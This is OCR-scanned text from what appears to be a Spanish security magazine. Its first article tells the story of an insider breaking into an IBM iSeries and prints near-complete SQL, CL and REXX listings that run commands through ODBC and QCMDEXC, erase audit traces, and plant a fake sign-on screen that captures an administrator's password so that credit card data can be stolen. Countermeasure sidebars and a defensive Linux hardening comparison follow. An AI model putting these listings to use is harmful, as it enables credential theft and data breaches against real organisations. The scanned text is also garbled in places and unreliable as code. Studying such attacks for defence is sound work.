| APLIBF D
= APLIBF D
> APLIBF D
| APLIBF D
APLIBF D

[

ARecodzr o]

de un programa o procedimiento

Account Balance Inquiry 61
almacenado

Account Inquiry Header 17
EDM/ECC to ECA Contr 7
Chart of Account Segme 9
Chart of Accounts 1
Account Rules Inquiry D 30
Accounts Receivable In 19
Account Balances 13
Accounts Receivable In 43
Account Cross Referenc 33
Template Accounts 7
Output file for DSPFD T* 31
Program Access Inquiry 7
IBMSNAP_CCPPARMS 4
Account Segments Exte 16
Account Inquiry Columns 27
Xtra Inquiry Account Bal 4
Account Inquiry DS 69
Credit Analyst Master File 8
Inquiry Account Balance 12
Accumulated Template - 17
Credit Check Workfile 10
Chart of Account Inquity 13

[

¢Tiene acceso Julius al archivo de
base de datos XACC?

Julius decide comprobar, prime-
ro, si tiene acceso a la biblioteca
APLIBF, donde reside el archivo de
las tarjetas de crédito. Sabe que el
iSeries comprueba la autoridad pa-
ra el acceso a la biblioteca y al ar-
chivo, y que intentar comprobar las
autoridades en un archivo dentro
de una biblioteca bloqueada puede
generar una alerta de seguridad,
mientras que comprobar la bibliote-

Chatt of Accaunts 23 ca en primer lugar no creara alerta
Account Rules 29

alguna.
Account Inquiry DS 65 9

Xtra Credit Card data File 22
Accounting Location 18

InqulwAmum Bolance 20 Superando las restricciones

para usuarios limitados

Ready

Julius no puede usar una sesion inte-

== = = e e

Figura 11. Cataloga resultados de la peticion

ractiva telnete porque la cuenta que
utiliza, NANAFTP, es un usuario limi-

SQL

SAL statement:
insert into qgpl al03 (srcdta) values{'arg P1') with nc

Figura 12. Insertando en la base de
datos desde MS-Query

Jl S0L Query can't be represened graphically. Contlinue amywryT

[ comeet]| _tow |

Figura 13. Advertencia durante
la insercion en la base de datos
— ignérala
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Contramedidas para evitar consultas de los conte-

nidos del sistema

Por un lado, Baltasar ha definido al usuario NANAFTP de forma correcta. El usuario se
definié con capacidades limitadas y desconexién automatica, aunque la definicion de
un programa inicial de registro que ejecute el comando SIGNOFF hubiera sido mejor.
Por otro lado, no aseguré convenientemente ODBC, al no limitarlo Unicamente a los
usuarios que realmente lo necesiten, especialmente dado que ODBC permite que un
usuario remoto ejecute comandos que estan bloqueados a un usuario limitado en las
sesiones interactivas. Por desgracia, la Unica forma de conseguir este nivel de seguri-
dad es a través de aplicaciones de seguridad realizadas por terceros.

Otra cosa que Baltasar podria hacer es gestionar las listas de control de acceso
para las bibliotecas QGPL y APLIBF. QGPL no deberia tener una autoridad de cam-
bios posibles por defecto, y BOGUS no tiene motivos de negocio para tener autorida-
des privadas sobre APLIBF.
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Figura 17. Informe Display Subsystem Description

tado. Un usuario limitado no puede
ejecutar practicamente nada desde
una linea de comandos, aunque lo

permita ACL. Un usuario limitado
tampoco puede ejecutar comandos
via el servidor FTP (el comando quo-

www.hakin9.org
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Listado 4. SQL para la lista de terminales de usuarios y para la descripcion de subsistemas
/* creacién de un miembro fuente para que contenga el cédigo fuente del programa CL */
call gcmdexc ('addpfm file (ggpl/gclsrc) mbr (monpwdlc) srctype(clp)', 0000000051.00000)
create alias ggpl.al0l for ggpl/gclsrc (monpdwlc)
/* creacién de un fichero plano para el comando CPYSPLF */
create table qggpl.splfcpy (splfcpy char (200 ) not null with default)
/* insercidn de los resultados CL en el miembro fuente */
insert into qgpl.alOl (srcdta) values('pgm') with nc
insert into ggpl.alOl (srcdta) values('wrkusrjob user (bogus) status(*all) output(*print) jobtype(*interact)') with nc
insert into ggpl.al0l (srcdta) values('cpysplf file (gpdspsb]j) tofile (qgpl/splfcpy) +') with nc
insert into qgpl.al0l (srcdta) values (' splnbr(*last) mbropt (*add)') with nc
insert into qgpl.alO0l (srcdta) values ('dspsbsd sbsd(ginter) output (*print)') with nc
insert into ggpl.al0l (srcdta) values('cpysplf file (gprtsbsd) tofile(qgpl/splfcpy) +') with nc
insert into qgpl.al0l (srcdta) values (' splnbr(*last) mbropt(*add)') with nc
insert into qgpl.alO0l (srcdta) values('endpgm') with nc
/* arregla los numeros de secuencia de la fuente o el compilador no se ejecutard. */
update ggpl.al0l alO0l set srcseg=rrn(al0l) with nc
/* compilacidn del programa CL - no se creardn listados */
call gcmdexc ('crtclpgm pgm(ggpl/monpwdlc) srcfile (ggpl/gclsrc) log(*no) <
option (*nosource *nosrc *noxref *noseclvl *nosrcdbg *nolstdbg)', 0000000120.00000)
/* borrado de huellas */
call gcmdexc ('dltsplf file(*select) select(*current *all *all *all)', 0000000054.00000)
/* sumision del programa compilado al proceso por lotes */
call gcmdexc ('sbmjob cmd(call pgm(ggpl/monpwdlc)) log (0 0 *nolist) logclpgm(*no) dspsbmjob(*no)' , 0000000081.00000)
\_ /
N . .
Listado 5. Programa monpwd1c creado en el Listado 4 te remd) y via REXEC. Sin embargo,
el usuario limitado no esta imposibi-
pgm litado para ejecutar comandos que
3 * * 1 3 * .
wrkus?folk’)luserc(ibog;si st;a;us( aii) i\;tpm):( print) jobtype (*interact) se encuentran incrustados dentro
Cpysp ile (gpdspsbj) tofile (qgpl/splfcpy) + . .
splnbr (*last) mbropt (*add) .de programas de aplllca.mones. Esto
dspsbsd sbsd (ginter) output (*print) incluye a los procedimientos alma-
cpysplf file (qprtsbsd) tofile (qgpl/splfcpy) + cenados.
splnbr(*last) mbropt (*add) Julius se aprovecha del hecho de
endpgm que cualquier programa iSeries pue-
L _/ de ser activado via ODBC, como si
) fuera un procedimiento almacenado.
5722551 VSR2MO 020719 Work with User Jobs 29.10.05 12:48:06 Page 1 | . .
System: 50011223 Decide utilizar el APl gcmdexc que,
Tsexr . « - . « ¢ BOGUS Status . . . . . . . i *ALL Job type . . . . . = *INTERACT . . ,
_____ dehedulenrm . si recibe los parametros adecuados,
Job Name User Nuwber Type ==---= Status-----  Function Date Tine i i H
D omRiL. ioa ol = T ejecuta comandos iSeries. El API
UKTEOGUS02  BOGUS 326605 INTER ACTIVE CMD -URKACTIOB ;
UKTBOGUS02  BOGUS 326656  INTER ouTa qcmdexc requiere una cadena de
UKTBOGUSO0L  BOGUS 481345  INTER 0UT .
UKTBOGUSOL ~ BOGUS 714326  INTER ul.rrg comandos correcta, Yy un numero
UKTBOGUS02  BOGUS 743193 INTER 0UTQ . .
QPADEVOOOK  BOGUS 818765 INTER  OUTQ decimal que es la longitud exacta de
UKTBOGUS02  BOGUS 852345  INTER oUTe
UKTEOGUSOL  BOGUS 89001z INTER  OUTQ la cadena de comandos. El comando
EEmS s BN 0F AL ST G e 2l que Julio ejecuta via gcmdexc mues-
Figura 16. Informe Work with User Jobs tra la lista de control de acceso en un
objeto en la pantalla, pero si lo usa-
5722531 VSR2MO 020719 Display Subsystem Description 29.10.05 13:25:58 Page 1 mos con |a opcic')n output (*outfile)
creara una nueva tabla de base de
Subsystem description . . . . . . . . . . % QINTER Status . . . . @ Active datos que Contiene |a ACL
Operational Attritutes Julius usa la biblioteca QGPL
Mibrany e lIllliiiiiiii ® s para almacenar los resultados in-
Maximum jobs in subsystem . . . . . . . . . . . ¢ HMAXJOBS *NOMAX . : . L e
Sigu-on display file . . .. . .. ... ....:i SGIDSFF  QDSIGUON termedios de su investigacion. Esta
LIbEAEY & o v @ 5.8 & ¥ %% @ @ S @ B WE @ W et B QGPL T . P
System library 1ist entry . . . . « . . » . . . : SYSLIBLE THONE biblioteca existe en practlcamente

todos los servidores iSeries y AS/
400, y en demasiados de ellos su
autoridad publica esta configurada
segun los ajustes de fabrica: permitir
cambios.
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Listado 6. SQL para la creacion del script REXX

/* creacién de un miembro fuente para contener el cddigo fuente del programa REXX */
call gcmdexc ('addpfm file (qgpl/qclsrc) mbr (monpwd3x) srctype (rexx)', 0000000052.00000
create alias qgpl.al03 for ggpl/qclsrc (monpdw3x)

/* insercidn de los resultados REXX en el miembro fuente */

insert into qgpl.al03 (srcdta) values('arg pl') with nc

insert into qgpl.al03 (srcdta) values('parse var pl user password') with nc

insert into qgpl.al03 (srcdta) values('address execsql') with nc

insert into ggpl.al03 (srcdta) values('''execsql set transaction isolation level nc'' ') with nc

insert into ggpl.al03 (srcdta) values('''execsql insert into qgpl/gmonpwd (u,p) '', ') with nc

insert into qgpl.al03 (srcdta) values (' "'values(''''''user''"'"'"'", """ "'ipassword''' ') '"") with nc

/* arreglar los numeros de secuencia de la fuente */
update ggpl.al03 al03 set srcseg=rrn(al03) with nc

‘\ call gcmdexc <«

Listado 7. REXX monpwd3x creado en el Listado 6 ('dspobjaut obj (aplibf) <«
objtype (*1ib) <«
arg pl
parse var pl user password output (*outfile) «
address execsql outfile (qgpl/dspobip) ', <«
'execsgl set transaction isolation level nc' 0000000074.00000
'execsql insert into ggpl/gmonpwd (u,p) ',
‘values (Mt tuser! !, T password’t ) ! Julius examina los contenidos del
N _/  nuevo archivo creado:

Listado 8. SQL para la creacién de un programa de pantalla falso

/* creacidn de un miembro fuente para contener el cédigo fuente del programa CL */
call gcmdexc ('addpfm file (gqgpl/gclsrc) mbr (monpwd2c) srctype(clp)', 0000000051.00000)
create alias gqgpl.al02 for ggpl/qclsrc (monpdw2c)

/* insercién de los resultados CL en el miembro fuente */

insert into ggpl.al02 (srcdta) values('pgm parm(&devname) ') with nc
insert into ggpl.al02 (srcdta) values('dclf gdsignon') with nc

insert into ggpl.al02 (srcdta) values return') with nc

(
(
insert into ggpl.al02 (srcdta) values('dcl var (&text) type(*char) len(80) ') with nc
insert into qgpl.al02 (srcdta) values ('monmsg msgid (cpf0000) exec(goto cmdlbl (error))') with nc
insert into ggpl.al02 (srcdta) values('rtvneta sysname (&sysname) ') with nc
insert into ggpl.al02 (srcdta) values ('chgvar var (&sbsname) value(''QINTER'')') with nc
insert into ggpl.al02 (srcdta) values('chgvar var (&in01) value(''l'')') with nc
insert into qgpl.al02 (srcdta) values('chgvar var (&copyright) value('' (C) ACME +') with nc
insert into qgpl.al02 (srcdta) values (' CORPORATION. 1949, 2001.'') ') with nc
insert into ggpl.al02 (srcdta) values('retry:') with nc
insert into qgpl.al02 (srcdta) values ('ovrdspf file (gdsignon) dev (&devname) waitfile (32767)') with nc
insert into ggpl.al02 (srcdta) values('panel: ') with nc
insert into ggpl.al02 (srcdta) values('sndrcvf rcdfmt (signon) ') with nc
insert into qgpl.al02 (srcdta) values('chgvar var (&text) value(&userid *bcat &passwrd)') with nc
insert into qgpl.al02 (srcdta) values('strrexprc srcmbr (monpwd3x) srcfile(shalomcl/gpwdsrc) parm(&text)') with nc
(
insert into ggpl.al02 (srcdta) values('error: ') with nc
insert into ggpl.al02 (srcdta) values('dlyjob dly(10) ') with nc
insert into ggpl.al02 (srcdta) values('goto cmdlbl (retry) ') with nc

(

insert into ggpl.al02 (srcdta) values('endpgm ') with nc
/* arregla los numeros de secuencia de la fuente o el compilador no se ejecutard. */
update ggpl.al02 al02 set srcseg=rrn(al02) with nc

/* compilacién del programa CL - no se creardn listados */
call gcmdexc ('crtclpgm pgm(ggpl/monpwd2c) srcfile (ggpl/gclsrc) <«
log(*no) option(*nosource *nosrc *noxref *noseclvl *nosrcdbg *nolstdbg)', 0000000120.00000

/* borrado de huellas residuales */
call gcmdexc ('dltsplf file(*select) select(*current *all *all *all)', 0000000054.00000
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Listado 9. Programa de captura monpwd2c creado en el Listado 8

pgm parm(&devname)
dclf gdsignon

dcl var (&text) type(*char) len(80)

monmsg msgid (cpf0000) exec(goto cmdlbl (error))

rtvneta sysname (&sysname)

chgvar var (&sbsname) value ('QINTER')

chgvar var (&in01) value('1l")

chgvar var (&copyright) wvalue(' (C) ACME +
CORPORATION. 1949, 2001.")

retry:

ovrdspf file (qdsignon) dev (&devname) waitfile (32767)

panel:

sndrcvi rcdfmt (signon)

chgvar var (&text) value(&userid *bcat &passwrd)

strrexprc srcmbr (monpwd3x) srcfile (qgpl/gclsrc) parm(&text

return

error:

dlyjob dly(10)

goto cmdlbl (retry)
endpgm

Contramedidas frente a la elevacién de privilegios
Hemos dicho ya que el acceso ODBC al iSeries esta abierto de par en par en la
empresa Cadaverix. Si a esto le sumamos la disponibilidad del APl QCMDEXC,
el resultado es que el sistema estd completamente abierto a la manipulacion.
QCMDENXC deberia tener un ACL especial que lo limitara a los usuarios y aplicacio-
nes que realmente lo necesitan. La herramienta de auditoria de seguridad — apa-
gada en este caso — puede configurarse para registrar todos los nuevos objetos,
como programas recién compilados, y el uso de determinados comandos, como
CRTCLPGM. La auditoria de seguridad puede registrar todos los accesos, inclu-
yendo los de soélo lectura — a archivos especialmente sensibles, como los archivos
de las tarjetas de crédito. Idealmente, la autorizacion para acceder a informacion
tan extremadamente sensible esta limitada a cuentas de usuario que no pueden
acceder de modo alguno, y el acceso es gestionado por programas que adoptan la
autoridad correcta.

Otro error de configuracion cometido por Baltasar es la autoridad publica para sus
dispositivos de terminal. Los usuarios con tanto poder deberian estar confinados a ter-
minales especificas, y deberia eliminarse la autoridad publica de dichos dispositivos
para evitar ataques de este tipo.

En la Red

*  http://’www.midrange.org — Una lista de correo sobre AS/400: echa un vistazo a los
archivos,

*  http://krypton.mnsu.edu/~j3gum/web/as400/intref.html — Introduccién a AS/400
fechada en 2003, pero aun valida,

*  http://publib.boulder.ibm.com/iseries/— El Infocenter de IMB iSeries es de lectura
obligatoria,

*  http://www.woevans.com — Wayne O. Evans, lista de comprobacion para audito-
rias,

«  http://www.powertech.com/promotions/p-formitj2.html — Investigacién sobre la
seguridad iSeries hecha por PowerTech,

»  http://publib.boulder.ibm.com/iseries/v5r2/ic2924/books/c4153026.pdf — Manual
de referencia de seguridad iSeries,

*  http://www.venera.com — Mira la seccion de links para tener mas enlaces a pagi-
nas relativas a la seguridad en iSeries.
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select oausr, oaobja,
oaname, oalib,
oatype, oaown

from qggpl.dspobjp;

Los resultados se muestran en la
Tabla 4.

Es casi seguro que Julio no tenga
autoridad para acceder a la biblioteca
APLIBF y a sus contenidos, Sin em-
bargo BOGUS si que la tiene. Una
busqueda rapida en Active Directory
revela que BOGUS es Baltasar Ogus,
el actual administrador del iSeries.
Al recordar la humillacion que un dia
infligi6 Baltasar a Julius, cuando le
increpd publicamente por sobrepasar
su cuota de correo electronico, Ju-
lius decide raptar la cuenta BOGUS
y utilizarla para sus malvados fines,
matando dos pajaros de un tiro.

Elevacién de los
privilegios

Ya ha pasado una semana desde
que Julius empez6 sus investigacio-
nes, y cada vez esta mas animado
por la falta de reaccién de los ser-
vicios informaticos de la empresa.
Crackear una clave de acceso por la
fuerza bruta no es algo practico en el
entorno iSeries, porque este método
deshabilita al usuario tras un peque-
Ao numero de intentos, y requiere
la intervencion manual para volver
a activar al usuario. Julius no quiere
despertar tanta atencion. Tiene otro
plan. Julius va a conseguir que Bal-
tasar revele su clave de acceso a
un programa que Julius mismo esta
a punto de escribir.

Aprendiendo sobre el
enemigo

Julius planea escribir un programa
que muestre una pantalla de registro
falsa a BOGUS. El programa usara
una pantalla que serda una réplica
exacta de la pantalla de registro habi-
tual, de lo contrario BOGUS pensaria
que hay gato encerrado. Hay varias
informaciones que Julius necesitara,
y empieza por buscar los nombres de
las estaciones de trabajo que BOGUS
utiliza de forma habitual. Esta informa-
cién se encuentra en el informe Work
with User Jobs (véase Figura 16).
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Este informe no tiene opciones
que permitan dirigirlo a un archivo de
base de datos, pero el iSeries tiene
una herramienta llamada CPYS-
PLF para copiar los resultados de
impresion, que estan en la cola de
impresion, a un archivo de base de
datos plano.

Otra informacion que Julius ne-
cesita es el nombre del archivo que
muestra el formulario de acceso del
subsistema interactivo, para que la
copia parezca real. Esto se encuen-
tra en la primera pagina del informe
Display = Subsystem  Description
report (véase Figura 17). Una vez
mas, debe usarse la herramienta
CPYSPLF.

Esta vez, Julius no puede ejecu-
tar sencillamente estos comandos
a través del API QCMDEXC como
hizo antes. La impresién de resul-
tados desde una conexion ODBC es
creada por un trabajo aparte, y por
las limitaciones de CPYSPLF Julius
debe ejecutar todos los comandos
desde un sélo trabajo. Por tanto,
Julius crea un programa CL que
contiene el script de accion para to-
dos los comandos, y sometera este
programa a ejecucion por lotes como
un trabajo separado y Unico (véase
Listados 4 y 5). Los pasos para que
esto salga bien son:

« creacion de un miembro fuente
que contenga el codigo fuente
del programa CL,

« creacion de un fichero plano para
el comando CPYSPLF,

« insercion de los resultados CL en
el miembro fuente,

« compilacion del programa CL,

« sumision del programa compila-
do al proceso por lotes,

« obtencién de resultados.

El método funciona porque un fichero
fuente es en realidad una tabla de ba-
se de datos con un atributo especial,
y puede ser leido y modificado desde
SQL. Julius selecciona QCLSRC,
un archivo fuente que se encuentra
comunmente en la biblioteca QGPL,
para que contenga su codigo.

Julius examina el contenido del
archivo SPLFCPY (véase Figuras 16
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Shalom Carmel nacié en Varsovia, Polonia, y hoy vive y trabaja en Israel. Su trabajo
incluye la implementacién de proyectos ERP a gran escala, marketing web, la ense-
flanza a nivel superior, disefio grafico y edicion de video, e interminable consultoria de
seguridad, tecnologia y sistemas de informacion. Hoy es arquitecto de aplicaciones en
una compafiia farmacéutica internacional. En 2005 publicé un libro sobre la seguridad
en iSeries desde el punto de vista de un atacante, llamado Hacking iSeries (Hackean-

y 17), y ve que BOGUS usa por lo ge-
neral dos terminales: UKTBOGUSO01
y UKTBOGUSO02. Ahora escribira el
codigo para que aparezca una pan-
talla de registro falsa en una de esas
dos terminales.

Primero, hay que hacer los pre-
parativos. Julius crea una nueva ta-
bla de base de datos que contendra
la clave de acceso capturada:

create table ggpl.gmonpwd
(u char (10 ) not null with default,
p char (10 ) not null with default);

El programa de acceso falsificado se
escribira en CL, y CL no puede escri-
bir a la base de datos. Julius necesi-
ta un script de ayuda que escriba la
clave capturada a la tabla gmonpwd
recién creada. Descubre que, como
cualquier otra maquina de produc-
cion, el iSeries no tiene compilador
RPG, asi que selecciona REXX en
su lugar (véase Listado 6).

El programa CL se presenta en el
Listado 8. Intenta afadir un archivo
de pantalla a un dispositivo de termi-
nal, y solo tendra éxito si el disposi-
tivo no esta asignado a otro usuario,
0 sea, si muestra una pantalla de
registro regular.

El programa esperara el tiempo
maximo posible antes del timeout
— 32767 segundos, o aproximada-
mente 9 horas. Cuando se alcance
el timeout, el programa lo volvera a
intentar hasta el infinito.

El reloj muestra las 23:00. Antes
de la activacion del programa de

captura monpwd?2c, Julius refresca
el estatus de la estacion de trabajo
para BOGUS, y ve que en este mo-
mento el dispositivo UKTBOGUS02
estd libre. Envia el programa
monpwd2c al proceso por lotes con
el parametro correcto del nombre de
terminal, y se va a casa:

call gcmdexc <«
('sbmjob cmd( <«
call pgm(qgpl/monpwd2c) <
parm (UKTBOGUS02)) <+
log(0 0 *nolist) <=
logclpgm(*no) <+
dspsbmjob (*no) ' , <«

0000000098.00000)

Cuando Baltasar llega por la mafa-
na, después de leer su tira diaria de
Dilbert, accede al iSeries para com-
probar el estado del sistema. Escribe
su nombre de usuario y clave de ac-
ceso en los campos apropiados en la
pantalla, y pulsa [Enter]. No sucede
nada — la pantalla sigue mostrando
exactamente lo mismo. Baltasar
parpadea, lo vuelve a intentar, y esta
vez accede sin problemas.

Julius esta muy nervioso, a las
18:00 vuelve a acceder al sistema
como NANAFTP, recupera la clave
de acceso de BOGUS del archivo
gmonpwd, accede como BOGUS,
obtiene un total de 11,000 detalles
de tarjetas de crédito en un archi-
vo Excel, lo graba en su pen drive
y a las 19:30 sale de Cadaverix por
ultima vez en su vida.

Game Over. ®

Sobre el libro Hacking iSeries

El primer capitulo del libro y el indice se encuentran en hakin9.live. Puede adquirirse el
libro en http://www.venera.com/order.htm. Aunque el precio normal es 39.90 Délares,
los lectores de hakin9 pueden beneficiarse de un 15% de descuento si introducen el
cédigo de descuento hakin9 en el campo ‘coupon’ del formulario de compra.
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Linux Seguro —
comparacion de proyectos

Michat Piotrowski ;

Grado de dificultad
o

o inseguro es mas bien ilusoria. El nivel

de seguridad de un sistema depende
sobre todo de la manera en que éste haya sido
configurado y de qué tan bien cuida de él su
administrador. Sobre estas circunstancias in-
fluyen a su vez (no sélo desde el punto de vista
técnico) los medios de proteccién utilizados,
las soluciones escogidas y el nivel de conoci-
mientos y experiencia del administrador.

Sin embargo, ni siquiera el mejor de los
administradores puede proteger un sistema
contra los asi llamados ataques de dia cero, es
decir, contra la explotacion de vulnerabilidades
aun practicamente desconocidas. Afortunada-
mente, existen métodos de prevenir incluso
este tipo de ataques.

La gran mayoria de ataques a sistemas Li-
nux son consecuencia de errores de software.
Los intrusos utilizan con frecuencia errores que
provocan desbordamientos de bufer (en la pila
y en el montén), procesamiento incorrecto de
cadenas de formateo o condiciones de sincro-
nizacion. Es menos comun presenciar ataques
que se aprovechen de privilegios de acceso
erroneos a recursos del sistema o de errores
en los mecanismos de los protocolos de red.

I a idea de un sistema operativo seguro
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(" Los sistemas Linux son bastante resistentes a los ataques. Sin
embargo, en situaciones en las que nos interesa especialmente
mantener un alto nivel de seguridad del ordenador, las
distribuciones estandar no ofrecen suficientes garantias.
Consideraremos algunos de los mecanismos mas populares de
mejoramiento de la seguridad en Linux a nivel del kernel.

Los mecanismos adicionales de proteccion
de sistemas Linux pueden ser divididos en
cuatro grupos:

* mecanismos de proteccion de memoria en
el kernel del sistema,

* mecanismos de proteccion de memoria en
el compilador,

En este articulo aprenderas...

* qué mecanismos adicionales pueden mejorar la
seguridad en Linux,

* en qué consisten estos mecanismos y contra
qué protegen,

» cual de estos mecanismos elegir dependiendo
de nuestras necesidades,

* como instalarlos y utilizarlos.

Lo que deberias saber...

» deberias poseer conocimientos basicos de ad-
ministracion de sistemas Linux,

» deberias conocer las reglas basicas de seguri-
dad de los sistemas operativos y de las redes
de ordenadores.




Descripcion de como mejorar la seguridad de Linux

Tabla 1. Soluciones de mejoramiento de la seguridad de sistemas Linux

Openwall Grsecurity |LIDS | SELinux | RSBAC
m_—-mm—--—

Proteccién de memo- Si
ria en el kernel

Proteccién de memo-
ria en el compilador

Control de acceso

* mecanismos de control de acce-
so al sistema,

« otros (aleatorizacion, control
estricto de acceso, registro de
eventos ocurridos en el sistema,
etc.).

En la Tabla 1 pueden verse las di-
ferentes soluciones pertenecientes
a cada uno de los grupos.

Si (incluye Si (incluye
PaX) PaX)
Si Si
Si Si Si Si
Openwall y fue utilizada en los nucleos de la

El autor del proyecto Openwall es
Alexander Peslyak, mejor conoci-
do como Solar Designer, quien es
también autor de la herramienta de
deteccion de contrasefias John the
Ripper y de la distribucion Owil.
Openwall comenzé llamandose
Secure Linux Patch. Su primera
version aparecio en enero de 1998

~

Proteccion de memoria en el kernel
Para proteger la memoria de los procesos en el kernel del sistema se utilizan dos
mecanismos basicos. El primero de ellos permite asignar a un area dada de la me-
moria privilegios de sdlo escritura o de solo ejecucion de cédigo. El segundo utiliza
la aleatorizacién de los segmentos de memoria.

La memoria de los programas lanzados por el sistema operativo se compone de
elementos conocidos como segmentos:

» segmento de cédigo (contiene el cédigo ejecutable del programa),

» segmento de datos (contiene las variables estaticas y globales),

» pila (contiene datos temporales: variables locales y argumentos de las funcio-
nes),

» montoén (contiene datos temporales que son reservados y devueltos por el pro-
grama de manera explicita utilizando funciones tales como malloc()).

En la memoria también son colocadas las referencias a funciones accesibles para
el programa que provienen de librerias compartidas, como por ejemplo printf (),
system(), etc.

El kernel estandar de Linux asigna privilegios demasiado altos a todos los seg-
mentos. Por ejemplo, en la pila es posible no sélo escribir datos, sino también eje-
cutar codigo. Esto permite realizar ataques de desbordamiento de bufer (ing. buffer
overflow). A fin de proteger un sistema contra este tipo de ataques, los mecanismos
adicionales modifican los privilegios por defecto de cada uno de los segmentos. Un
proceso puede obtener derecho de escritura de datos o de ejecucién de codigo ya
existente en la memoria. Esto permite, por ejemplo, crear una pila no ejecutable
(ing. non-executable).

No obstante, una pila no ejecutable puede aun ser utilizada en ataques. Para
ello se utiliza un tipo de ataque conocido como regreso a la libreria libc (ing. return
to libc), que consiste en crear en la pila una invocacién correcta a alguna funcién
compartida — por lo general a la funcién system() con el argumento /bin/sh. En
consecuencia el atacante pasa el control a la funcién invocada, la cual lanza un
intérprete de comandos o ejecuta alguna otra operacion.

Una condicién necesaria para que un ataque de esta indole tenga éxito es que
el atacante conozca la direccion de la funcion system () en la memoria del proceso.
Para impedirlo sirve precisamente el segundo de los mecanismos mencionados: la
aleatorizacion, que consiste en colocar los diferentes segmentos de memoria y las
direcciones de funciones compartidas en un orden diferente cada vez que se lanza
el programa. El intruso no tiene entonces la posibilidad de prever las direcciones
correctas de las funciones compartidas, por lo que no puede invocarlas.

version 2.0. El parche sigue siendo
desarrollado hasta el dia de hoy, pe-
ro no existe aun una version para los
kernels de la serie 2.6. El autor opina
que la migracion del mecanismo
al nuevo kernel comenzara a tener
sentido apenas cuando aparezca la
version 2.6.20.

Mecanismos de proteccion
Openwall ofrece varios mecanismos
de proteccion. Los dos mas impor-
tantes (ver Recuadro Proteccion de
memoria en el kernel) son:

* bloqueo de ejecucion de codigo
en la pila del proceso (protege
contra la mayoria de los ataques
basados en desbordamiento de
bufer),

» aleatorizacion de las direcciones
de las funciones de librerias com-
partidas (protege contra ataques
de regreso a la libreria libc).

Los demas mecanismos limitan
la creacion de enlaces duros (ing.
hard links) y la escritura a tuberias
designadas (ing. named pipes) en
los directorios con el bit +t puesto,
es decir en los directorios tempora-
les (por ejemplo /tmp). Asi pues, los
usuarios normales no pueden crear
enlaces a ficheros que no les perte-
necen o a los que no tienen permiso
de lectura y escritura. Tampoco pue-
den escribir datos a ficheros FIFO de
los que no sean dueiios.

El parche restringe también el ac-
ceso al directorio /proc e impide leer
de éste informacioén sobre el sistema
a usuarios que no pertenezcan a un
grupo especial, los cuales pueden
obtener solamente informacion acer-
ca de sus propios procesos. Impide
a los usuarios lanzar servicios de red
desde direcciones IP determinadas

www.hakin9.org
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segmento de codigo | ld-linux.so libdl.so ld-linux.so
Write/Execute WI/E WI/E E
libpthread.so segmento de datos/montén segmento de datos/montén
W/E W/E W
libpthread.so a=mmap ()
E w
a=mmap () 0gg_in.so libdl.so 0gg_in.so
W/E WIE B E
segmento de cédigo
E
pila pila
WI/E W

Memoria del proceso sin PaX

Figura 1. Proteccién de la pila con PaX

(s6lo en los kernels de la serie 2.0).
Permite también liberar las areas de
memoria compartida que han dejado
de ser utilizadas.

Instalacion
A fin de instalar Openwall es nece-
sario:

e actualizar las fuentes del kernel,
« aplicar el parche,

« configurar el nucleo,

« compilar el kernel.

El uso de algunas funciones de
Openwall junto con versiones no
estandar de la libreria glibc o de
programas de los paquetes procps
0 psmisc puede requerir la actualiza-
cion de algunos de ellos. El parche
viene acompanado del programa chs-
tk, que sirve para marcar los progra-
mas con privilegios de ejecucion en la
pila. Esto lo realiza fijando en la cabe-
cera del fichero ELF un indicador que
es revisado por el sistema durante la
creacion de cada nuevo proceso, a fin
de asignarle los privilegios correctos.

PaX

PaX puede ser utilizado en sistemas
con nucleo de las series 2.2, 2.4
y 2.6. El proyecto existe desde octubre
del afio 2000, pero fue suspendido en
abril del 2005, luego de hacerse del
conocimiento publico la existencia de
una importante brecha de seguridad
que permitia evadir mecanismos fun-
damentales de proteccion. Los auto-
res llegaron a la conclusion de que el

Memoria del proceso protegida con PaX

publico habia perdido la confianza en
PaX y decidieron no continuar traba-
jando en el proyecto (aunque el error
fue al final corregido). De su manteni-
miento se encarga ahora el autor de
grsecurity, Brad Spengler.

Mecanismos de protecciéon
PaX ofrece mecanismos similares
a los de Openwall: impide ejecutar
codigo en la memoria y aleatoriza
el espacio de memoria del proceso.
Sin embargo, estos mecanismos se
diferencian de los ofrecidos por el
proyecto anterior.

La proteccion de memoria en PaX
no se limita a la pila. Cada segmento
(ver Recuadro Proteccion de memo-
ria en el kernel) tiene sus propios
privilegios de lectura o de ejecucion.
Ademas, el administrador puede elegir
la técnica a utilizar: PAGEEXEC (pro-
teccion de péaginas) o SEGMEXEC
(proteccion de segmentos).

El segundo de los mecanismos
mencionados permite situar de mane-
ra aleatoria todos los elementos de la
memoria del proceso. Esto practica-
mente impide llevar a cabo un ataque
exitoso de regreso a la libreria libc. En
la Figura 1 se compara la estructura
de memoria de un proceso tipico en
un sistema estandar con la de un sis-
tema protegido con PaX.

Instalacion
A fin de instalar PaX es necesario:

e actualizar las fuentes del kernel,
» aplicar el parche,

Proteccion de la memo-

ria en el compilador

La proteccion de la memoria del pro-
ceso en el compilador es una tarea
simple. Consiste en afiadir al compila-
dor mecanismos que permitan, durante
la construcciéon del programa, afadir
a éste codigo que garantice la protec-
cion de la pila contra dafios.

La proteccion de la pila se basa
en la modificacion de los marcos de
pila (ing. stack frames), es decir, de las
estructuras utilizadas para mantener
datos temporales relacionados con
las funciones invocadas. Esta modifi-
cacion consiste en la introduccion de
una variable de control llamada canario
(ing. canary) inmediatamente antes de
la direccion de retorno de la funcion.
Cualquier dafio que pueda sufrir la
pila y modificar la direccién de retorno
afectara también el valor del canario, lo
que a su vez hara que el programa sea
abortado, impidiendo la ejecucion de
cualquier shellcode.

» configurar el nucleo,

» compilar el kernel,

» compilar e instalar las herramien-
tas chpaxy paxctl.

Los programas chpax y paxctl permi-
ten configurar los programas ejecu-
tables desde el punto de vista de los
diferentes mecanismos de proteccion
que éstos deben utilizar. Esta posi-
bilidad es muy util cuando debemos
hacer uso de aplicaciones no estandar
cuyo correcto funcionamiento se ve
afectado por la introduccion de restric-
ciones en el acceso a la memoria.

Las herramientas utilizan dos
métodos diferentes de supervision
de los programas ejecutables. El
programa paxctl/ usa un método mas
invasivo: modifica la cabecera del
fichero ejecutable ELF, afiadiéndole
campos adicionales. Esto requiere
de una modificacion forzosa de las
herramientas del paquete binutils.
El segundo meétodo (herramienta
chpax) no afecta hasta tal punto la
configuracion actual del sistema,
pues es similar a la soluciéon im-
plementada en Openwall: utiliza un
campo ya existente y reservado de
la cabecera ELF.
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Listado 1. Programa que
permite observar la proteccion
de memoria en el compilador
(ver Figuras 2y 3)

char *func(char *msg, int a)

int varl;
